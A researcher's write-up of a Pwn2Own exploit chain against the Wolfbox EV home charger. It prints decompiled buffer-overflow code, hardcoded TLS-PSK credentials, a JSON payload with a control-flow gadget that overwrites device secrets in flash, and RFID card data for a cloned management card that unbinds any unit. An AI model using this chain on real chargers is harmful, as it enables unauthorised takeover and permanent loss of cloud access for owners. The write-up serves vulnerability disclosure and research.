In January 2025 at Automotive Pwn2Own in Japan I exploited Wolfbox EV Level 2 charger, winning US$18,750 in cash. In this blog post I describe the target and bugs that were used to pwn the charger. As a bonus, there is also a post-exploitation part which I’ve used to show off my result at the competition.
Wolfbox Level 2 charger is a typical EV charging station designed for residential home use. It has its own mobile application and uses supports RFID cards for charging and device management. It uses both Wi-Fi and Bluetooth Low-Energy for communication. A more detailed breakdown of the device can be found on this ZDI blog post released before the competition.
There is no Linux-like OS to be found on the device. Charger uses Tuya CBU-IPEX module for handling communication through Wi-Fi and BLE. That module is connected through UART using TuyaMCU protocol to main MCU. Main MCU has its own separate firmware. It mainly controls access through RFID cards, handles vehicle charging and communicates with Tuya MCU.
The most interesting attack surface in this case is the communication module, which I’ve mostly focused on. Alternatively, we could attempt to abuse the RFID cards itself or charging protocol to target the main MCU directly.
Everything in this blog post is based on TuyaOS 3.8.18 SDK for BK7231N.
Wolfbox EV charger looks like this, it already comes with EV plug attached for charging vehicles.
After disassembling it, this is how it looks inside. The cables coming out from the bottom are supposed to go into the vehicle and 230V power source.
For the initial testing, I’ve used regular power supply cable with soldered ring terminals. All of the outputs from the board I wanted to connect, I’ve directed through the space where the EV plug was, as I did not need to use it for testing.
However I noticed that without providing regular 230V and only powering up the boards with 12V, all of the functionalities worked properly. There was an error about improper grounding in the application, but it did not impact behavior of the charger. Since it was both safer and more practical, I’ve powered up the boards with digital power supply using low voltage.
After I got all the parts out of the enclosure, this is the final setup I’ve used and travelled with to Tokyo, where Pwn2Own was taking place. There is also an UART to USB converter on the photo which was used to get live logs from Tuya MCU. The cables soldered on the other side of the chip were used for dumping firmware.
Inspecting the board, SWD interface (basically simplified JTAG) immediately grabs my attention. Connecting to it through OpenOCD lets us have full debugging capability of main MCU. Dumping the firmware that way is quite straightforward.
The more interesting one is Tuya MCU. Tuya is a popular IoT platform used in lots of smart devices, so there is also a lot of tooling available publicly for its SDK. I’ve used ltchiptool to dump and extract flash memory of the chip. The CBU-IPEX module uses the BK7231N chip which is supported by this tool. The chip also exposes logging interface through UART, which helps a lot with reversing and exploitation efforts.
After connecting to the appropriate pins we can get following output using ltchiptool
I: |-- Success! Chip info: BK7231N
I: Reading chip info...
I: Chip: BK7231N
I: +-----------------------+-------------------------------------+
I: | Name | Value |
I: +-----------------------+-------------------------------------+
I: | Protocol Type | FULL |
I: | Chip Type | BK7231N |
I: | Bootloader Type | BK7231N 1.0.1 |
I: | Chip ID | 0x7231c |
I: | Boot Version String | N/A |
I: | | |
I: | MAC Address | XX:XX:XX:XX:XX:XX |
I: | | |
I: | Flash ID | EB 60 15 |
I: | Flash Size (by ID) | 2 MiB |
I: | Flash Size (detected) | 2 MiB |
I: | | |
I: | Encryption Key | 510fb093 a3cbeadc 5993a17e c7adeb03 |
I: +-----------------------+-------------------------------------+
I: |-- Finished in 10.261 s
I’ve found following layouts for BK7231N on the internet:
Memory layout on the flash:
|Name |Code |Start |Length
|Bootloader |BK_PARTITION_BOOTLOADER |0x00000000 |0x11000 // 68KB
|Application |BK_PARTITION_APPLICATION |0x11000 |0x121000 // 1156KB
|ota |BK_PARTITION_OTA |0x12A000 |0xA6000 // 664KB
|RF Firmware |BK_PARTITION_RF_FIRMWARE |0x1D0000 |0x1000
|NET info |BK_PARTITION_NET_PARAM |0x1D1000 |0x1000
Memory mapping for the chip:
|Name/Access |Start |Length
|flash (rx) |ORIGIN = 0x00010000 |LENGTH = 2M - 64k
|tcm (rw!x) |ORIGIN = 0x003F0000 |LENGTH = 60k - 512
|itcm (rwx) |ORIGIN = 0X003FEE00 |LENGTH = 4608
|ram (rw!x) |ORIGIN = 0x00400100 |LENGTH = 192k - 0x100
The firmware is encrypted using default key, so decrypting it is not an issue. Unpacking bootloader can be done with the following command:
ltchiptool soc bkpackager unpackage -C 510fb093a3cbeadc5993a17ec7adeb03 beken.bin beken_bootloader.bin 0x0 0x0 0x11000
Unpackaging the application part the same way, I encountered problems with incorrect CRCs even with -C
flag.
Instead, I’ve carved out the application part, taking the size up until padding bytes.
dd if=beken.bin of=beken_appcut.bin bs=4 skip=17408 count=256955
After that, I’ve decrypted the application part with command
ltchiptool soc bkpackager decrypt 510fb093a3cbeadc5993a17ec7adeb03 beken_appcut.bin beken_app.bin 0x10000
The binary dumped from the Tuya MCU did not have any debugging symbols, but it turns out Tuya has its own IDE which is an extension to Visual Studio Code. Using it we can download latest development kit for the target. While it still does not give us the source code, it has debugging symbols in the library objects which is a huge win for us.
At this point, we are ready to find some bugs.
The charger has 2 main states it can be in - bound and unbound. Initially, after powering it up, the device is in its unbound state. It creates Wi-Fi Access Point with name starting with SmartLife
. It also broadcasts BLE messages advertising itself.
In regular flow, mobile application is used to connect with the charger, typically through BLE. At this step user provides Wi-Fi credentials to the application, so the charger can join his local network.
After this, Access Point as well as BLE advertising are disabled and device enters bound state.
During normal operation of the charger it will be in bound state as someone definitely connected to the charger before using it. To have practical exploit, it would be best to target the device in its bound state. Otherwise, it is necessary to have additional bug reverting charger back to its initial state.
BLE messages and Wi-Fi frame parsing are still interesting avenues of attack here even in bound state, which I’ve also looked into during my research.
The bug that was used in competition involved using the Access Point flow in device’s unbound state.
Handling communication with Access Point is done in function ap_net_cfg_task
.
In that AP network, device listens on TCP ports 7001 and 6668 as well as UDP port 6669:
LAB_000aa6d6:
/* port 6668 */
uVar4 = tuya_setup_tcp_serv(0x1a0c);
iVar7 = UDP_SERV_FD_OFF;
*(undefined4 *)(pAVar16->recv_buf + TCP_SERV_FD_OFF + -4) = uVar4;
pAVar16 = *ppAVar2;
/* Port 6669 */
uVar4 = tuya_setup_udp_serv(0x1a0d);
*(undefined4 *)(pAVar16->recv_buf + iVar7 + -4) = uVar4;
pAVar18 = *ppAVar2;
/* Port 7001 */
uVar4 = tuya_setup_tcp_serv(0x1b59);
iVar5 = TCP_SERV_FD2_OFF;
pAVar16 = *ppAVar2;
After that multiple handlers are implemented which handle different commands. All packets are expected to be in Tuya format, with data part encrypted using AES_GCM.
The keys for encryption differ for different communication channels, but can be easily extracted from the firmware.
Format of the Tuya packet looks like this:
--------------------------------
Prefix (\x00\x00\x66\x99) | 4 bytes
--------------------------------
Unknown (\x00\x00) | 2 bytes
--------------------------------
Sequence number | 4 bytes
--------------------------------
Frame type | 4 bytes
--------------------------------
Data length (nonce + data + tag)| 4 bytes
--------------------------------
Nonce | 12 bytes
--------------------------------
Encrypted data | N bytes
--------------------------------
Tag (GMAC) | 16 bytes
--------------------------------
Suffix (\x00\x00\x99\x66) | 4 bytes
--------------------------------
GMAC tag also includes the header data (everything before encrypted data, except prefix) so it cannot be easily tampered with, even though that part is not encrypted. Data that is encrypted is expected to be in JSON format.
Messages sent to UDP port are mainly used for providing Wi-Fi credentials to network that charger should connect itself to. The ones sent to TCP ports can modify various settings and are used to establish encryption keys for further communication.
Additionally, TCP ports uses TLS encryption layer using Pre-Shared Key protocol. Port 6668 uses hardcoded key 123456
and identity psk_identity
for communicating over TLS PSK. Below is the setup snippet from reversed TuyaSDK source code:
if (port != 7001) {
memset(&auStack_c0,0,0x54);
auStack_c0.psk_key = "123456";
auStack_c0.psk_key_size = 6;
auStack_c0.psk_id = "psk_identity";
auStack_c0.psk_id_size = 0xc;
tuya_tls_config_set(tls_handler,&auStack_c0);
return 0;
}
The function of interest where vulnerability was found is wifi_ap_activate_set_schema
which can be reached over port 6668
when frame type
field of the packet has value 0x17
/* 0x17 frame path */
iVar7 = ap_lan_data_decrypt((*PTR_DAT_000aad8c)->recv_buf,recvd_len,&stack0x00000034);
if (iVar7 < 1) goto LAB_000aaf24;
OVar6 = wifi_ap_activate_set_schema((PBYTE_T)ext_cmd);
UVar12 = 1;
It calls function tuya_svc_devos_activate_result_parse
with decrypted data in JSON format.
This function takes various parameters for establishing initial connection state. There exist multiple buffer overflow vulnerabilities in this function, when parsing parameters secKey
, localKey
, stdTimeZone
and devId
in provided JSON.
secKey = ty_cJSON_GetObjectItem(data,"secKey");
localKey = ty_cJSON_GetObjectItem(data,"localKey");
devId = ty_cJSON_GetObjectItem(data,"devId");
...
pCVar10 = (gw_cntl->gw_if).id;
pcVar11 = devId->valuestring;
sVar7 = strlen(pcVar11);
memcpy(pCVar10,pcVar11,sVar7) //!
...
pcVar11 = secKey->valuestring;
sVar7 = strlen(pcVar11);
memcpy(&gw_cntl->gw_actv,pcVar11,sVar7); //!
...
pcVar11 = localKey->valuestring;
sVar7 = strlen(pcVar11);
memcpy((gw_cntl->gw_actv).local_key,pcVar11,sVar7); //!
...
timezone_json = ty_cJSON_GetObjectItem(data,"stdTimeZone");
if (timezone_json != (ty_cJSON *)0x0) {
pcVar11 = timezone_json->valuestring;
sVar7 = strlen(pcVar11);
memcpy((gw_cntl->gw_actv).time_zone,pcVar11,sVar7); //!
The main issue in these memcpy
calls is that there is no verification of strlen
function result. No check is done if the destination buffer can hold the whole input and we can overflow it. So the vulnerability is quite simple, the question is how we can abuse it to take over the charger.
So far it looks like reaching the vulnerable function should be really easy, but I could not establish TLS connection to port 6668 as a client to properly send the payload.
When establishing TLS connection to the target, TLS handshake started like this
Which is really strange, because we receive Client Hello message in response to Client Hello. Normally during the handshake, the server should respond with Server Hello.
But it still listens bound on the port 6668, so I thought - what if it acts as a client, and I will take the role of being the server? It is a bit of a strange setup, because we would be initiating connection, but act as a server.
It turned out this is exactly what was happening! So I could simply connect to port 6668 with plain TCP socket and manually trigger TLS handshake, making this socket act as TLS server one.
Python has a TLS/SSL socket wrapper that allows this to be done easily.
It is necessary to use values of PSK identity equal to string psk_identity
and PSK
value equal to 123456
to properly establish communication over TLS PSK.
At this point we can easily reach the vulnerable flow.
To exploit the issue, we need to understand what do we overflow by abusing our bugs. The destination where the values are copied is a global structure, allocated on heap. This structure is of type GW_CNTL_S
and here is it’s layout.
To be exact, the fields we overwrite are buffers in both gw_if
and gw_actv
fields
I did not have any debugging setup on this chip, so exploitation by abusing the heap allocator metadata would be quite difficult.
But looking over the following fields of the structure, we notice field cbs
.
Its type is TY_IOT_CBS_S
which looks like this:
Being a struct of callbacks, that seems like a great target to overwrite. Now the question is, are any of these callbacks being called?
secKey = ty_cJSON_GetObjectItem(data,PTR_s_stdTimeZone_0009a714);
if (secKey != (ty_cJSON *)0x0) {
pbVar12 = (byte *)secKey->valuestring;
sVar6 = strlen((char *)pbVar12);
memcpy((byte *)((pGVar3->gw_base).uuid + DAT_0009a718 + -0x1c),pbVar12,sVar6);
sVar6 = strlen(secKey->valuestring);
(pGVar3->gw_actv).time_zone[sVar6] = '\0';
}
secKey = ty_cJSON_GetObjectItem(data,PTR_s_capability_0009a71c);
if (secKey != (ty_cJSON *)0x0) {
(pGVar3->gw_actv).cloud_capability = secKey->valueint;
}
set_gw_active(stat); // [1]
Turns out, right after copy of stdTimeZone
at (1), we call set_gw_active
, which will call dev_reset_cb
callback. So overwriting it we can take control over PC and jump to any code!
There is still an elephant in the room. I mentioned at the beginning that any bug in Access Point flow would require additional bug for unbinding the device so we can access it. I’ve tried to find various ways to do it like through BLE (it has special command for that but it requires secret I could not get unauthenticated). But the simplest possible way actually worked.
Every new EV charger comes with 2 charging cards and 1 management card. Charging cards have to be swiped over the RFID reader to start charging the vehicle. On the other hand, management card is used to unbind the device. When I got my hands on the device I was quite sure every charger is fitted with management and charging cards programmed for this exact device.
So after searching for any typical bugs that could let me unbind the device, I ordered the second charger to find how could I maybe guess the keys for unknown charger or brute force it. It was quite a surprise to find out, that management card from one charger worked on the other one!
I had some fun with Proxmark, trying to dump the content of all provided cards. All of them were typical Mifare Classic 1K cards. I managed to dump the content of all of them.
On these Mifare cards, this is the layout of the data (diagram taken from here):
Below is the beginning part of the management card (with omitted block 0)
"blocks": {
"0": "XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX",
"1": "00000000000000000000000000000000",
"2": "00000000000000000000000000000000",
"3": "FFFFFFFFFFFFFF078069FFFFFFFFFFFF",
"4": "00000000000000000000000000000000",
"5": "00000000000000000000000000000000",
"6": "XX000000000000000000000000000000",
"7": "313233343536FF078069FFFFFFFFFFFF",
The only regular data on the management card is a single non-zero byte at the start of block 6.
Block 3 and 7 contain encryption keys, which are 0xFFFFFFFFFFFF
, aside from key A for 1st sector which is “123456” in ASCII.
All other sectors have all 0s in them without any data.
Such a card can easily be cloned. It turns out, that only this byte is verified in the charger to recognize that the card is management one. The bug is so trivial that it can be hard to believe - but it is possible to approach charging station with management card of one charger and reset state of any Wolfbox produced charger you find. It is also really simple to prepare such cards - we can easily overwrite content of charging cards so they function the same as management ones or write over clean ones with this data.
Having these two bugs, I could go with something simplistic changing SSID name. But having LED display, I decided to show off cool logo or something like that. After some investigation I found project tuya-cloudcutter which abused similar bug to disconnect Tuya device from the cloud and manage the device locally. It can be achieved by overwriting 3 parameters on the device:
uuid
: device IDauzkey
: Used in conjunction with UUID to encrypt TLS communicationpskkey
: shared secret to establish a TLS communication channel between the device and Tuya servers (communication use TLS PSK)Knowing all these parameters, it is possible to establish MITM in communication between Tuya servers and the device as well as impersonate Tuya servers itself. These parameters could also be leaked, but I found no place in application where these can be easily extracted from.
How can we overwrite them though?
In the SDK there exist function mf_basic_test
, probably used to flash new devices as there is no direct call to it from any part of SDK.
It contains the following:
iVar8 = ty_cJSON_Parse(pMVar12) // [1]
...
iVar9 = ty_cJSON_GetObjectItem(iVar8,"uuid"); // [2]
strcpy(pcVar16,*(char **)(iVar9 + 0x10));
iVar9 = ty_cJSON_GetObjectItem(iVar8,"pskKey");
strcpy(pcVar16 + 0x122,*(char **)(iVar9 + 0x10));
iVar9 = ty_cJSON_GetObjectItem(iVar8,"auzkey");
strcpy(pcVar16 + 0x5b,*(char **)(iVar9 + 0x10));
PrintNoticeLog("pskKey=%s",pcVar16 + 0x122);
PrintNoticeLog("uuid=%s auth_key=%s",pcVar16,pcVar16 + 0x5b);
iVar9 = ty_cJSON_GetObjectItem(iVar8,"ap_ssid");
pcVar10 = pcVar16 + 0x7c;
if ((iVar9 != 0) &&
(iVar9 = ty_cJSON_GetObjectItem(iVar8,"ap_ssid"), *(int *)(iVar9 + 0xc) == 8)) {
iVar9 = ty_cJSON_GetObjectItem(iVar8,"ap_ssid");
strcpy(pcVar10,*(char **)(iVar9 + 0x10));
}
sVar7 = strlen(pcVar10);
if (sVar7 < 0x1c) {
iVar9 = ty_cJSON_GetObjectItem(iVar8,"ap_pwd");
if ((iVar9 != 0) &&
(iVar9 = ty_cJSON_GetObjectItem(iVar8,"ap_pwd"), *(int *)(iVar9 + 0xc) == 8)) {
iVar9 = ty_cJSON_GetObjectItem(iVar8,"ap_pwd");
strcpy(pcVar16 + 0x9d,*(char **)(iVar9 + 0x10));
}
PrintNoticeLog("ap_ssid=%s prod_test=%d",pcVar10,*(undefined4 *)(pcVar16 + 0xe8));
iVar9 = wd_gw_base_if_write(pcVar16); // [3]
At the beginning (1) we parse JSON string to operate on cJSON object. Then at (2) we extract values uuid
, pskKey
and auzkey
from that object. We do the same with parameters ap_ssid
and ap_pwd
which control Access Point settings. Finally at (3) we write this data to the flash, so it is saved even after device reboot.
To properly handle it, we need to have JSON object at register R0 by the time we redirect flow to that function. For that, current registers state has to be known. Fortunately, instead of inferring it from working backwards from the code (which would not be hard) we get registers dump visible on crashing firmware.
When the callback pointer we overwrote is called, we have interesting data in registers:
stdTimeZone
value stringUsing these two registers I’ve found this particular gadget in THUMB mode that is everything we need
adds r0, r6, #0
ldr r3, [r7, #0x28]
blx r3
It moves our object in R6 to R0 and then moves execution to the address that is at offset 0x28 from the beginning of stdTimeZone
value.
Another point worth mentioning is how we insert values for auzkey
, uuid
and pskkey
.
If we provide additional parameters into JSON object that is parsed at tuya_svc_devos_activate_result_parse
, they will be ignored, so we can simply append these parameters in the initial payload and they will end up in object pointed to by R6 register.
So the resulting payload would look like this:
{
"stdTimeZone":"A"*0x28 + winner,
"devId":"aaaaaaaaaaaaaaaaaaaaaa",
"localKey":"A"*0x97b + pivot_gadget,
"secKey":"aaaaaaaaaaaaaaaaaaaaaa",
"schemaId":"f8xp88",
"ir":12345,
"auzkey":"[auz_key]",
"uuid":"[uuid]",
"pskKey":"[psk_key]",
"prod_test": false,
"ap_ssid":"[ap_prefix]"
}
We need some extra parameters because they are required in the initial parsing, otherwise we would fail early and not reach vulnerable code.
This payload abuses overflow when handling parameter localKey
in function tuya_svc_devos_activate_result_parse
which overwrites the callback function. Then we append the winner
address to stdTimeZone
so the execution will be moved to functionality in mf_basic_test
which overwrites the device secrets and saves them to flash memory.
Overwriting
auzkey
,pskkey
anduuid
is permanent as these are written to flash memory. If we do not dump these values beforehand (we can find them encrypted in firmware dump), we won’t be able to recover them. It will prevent us from establishing connection to legitimate Tuya cloud servers!
What can we do with these overwritten parameters? The easiest way is forcing the the charger to connect to Wi-Fi network created by us, then impersonate Tuya server by hosting local DNS server. In this setup, aside from controlling various features of the charger, we can also force a firmware update.
All of this is already implemented in tuya-cloudcutter but it was a bit outdated and a rewrite was required to support newest API. Still this project was a huge help. Ultimately I could force a firmware update, flashing any custom firmware onto the board. The firmware does not have to be signed, so we do not have to bypass any protections of this kind here.
The firmware that is of interest to us is the main MCU one, as it controls the LCD display. Obviously there was a temptation to install DOOM, but compiling firmware from source for custom board is something that would require much more time than I had. So, how are things displayed on this device?
LCD module that is used on the board is DWIN DMT48270C043_04WN
. The main MCU interacts with it through UART, using its own protocol in the following format:
-------------------------------
Prefix (0xAA) | 1 byte
-------------------------------
Command | 1 byte
-------------------------------
Data | variable length
-------------------------------
Suffix (0xCC 0x33 0xC3 0x3C) | 4 bytes
-------------------------------
I found various documentation for similar displays, but none matches the command bytes exactly. On the main MCU we have SWD protocol that can be used for debugging, so that was used to discover the exact command and parameters used to interact with display. Useful commands that I found are:
0x02
- fill rectangle with color0x11
- shows text0x26
- clears text in the region0x30
- controls backlight brightnessThere are also commands to show images, numbers etc. Unfortunately there was no command that would take image data as parameter - all images to be displayed have to be sent to the LCD display first and then are referenced by its indices. So with that and limited time I settled on the blinking text.
Since I wanted to retain all of the functionalities of the charger, I manually patched functions interacting with display inserting my own assembly code there, calling above commands.
With a bit of work this was the result:
Unfortunately on the day of competition, my backlight command did not work, so the screen stayed quite dark. It is the reason why the photo by ZDI on Twitter has darker background.
On stage it all went without too many problems. I had to perform a quick fix beforehand, as the charger was in RF-shielded enclosure. I relied on 2 separate network interfaces to interact with device but had to redo it to use a single one, which was put inside the enclosure. But after all this I managed to successfully pwn the device on the stage!
The one collision I had was unbinding the device using management card. I was the second entry for Wolfbox after @SinSinology who was a beast at this competition and left everyone in the dust.
It was a great journey to tackle a new kind of target and attack surfaces I never had a chance to explore.
At the end, I’d like to thank my colleagues at PixiePoint Security and especially @yongchuank. I could not do it without their support.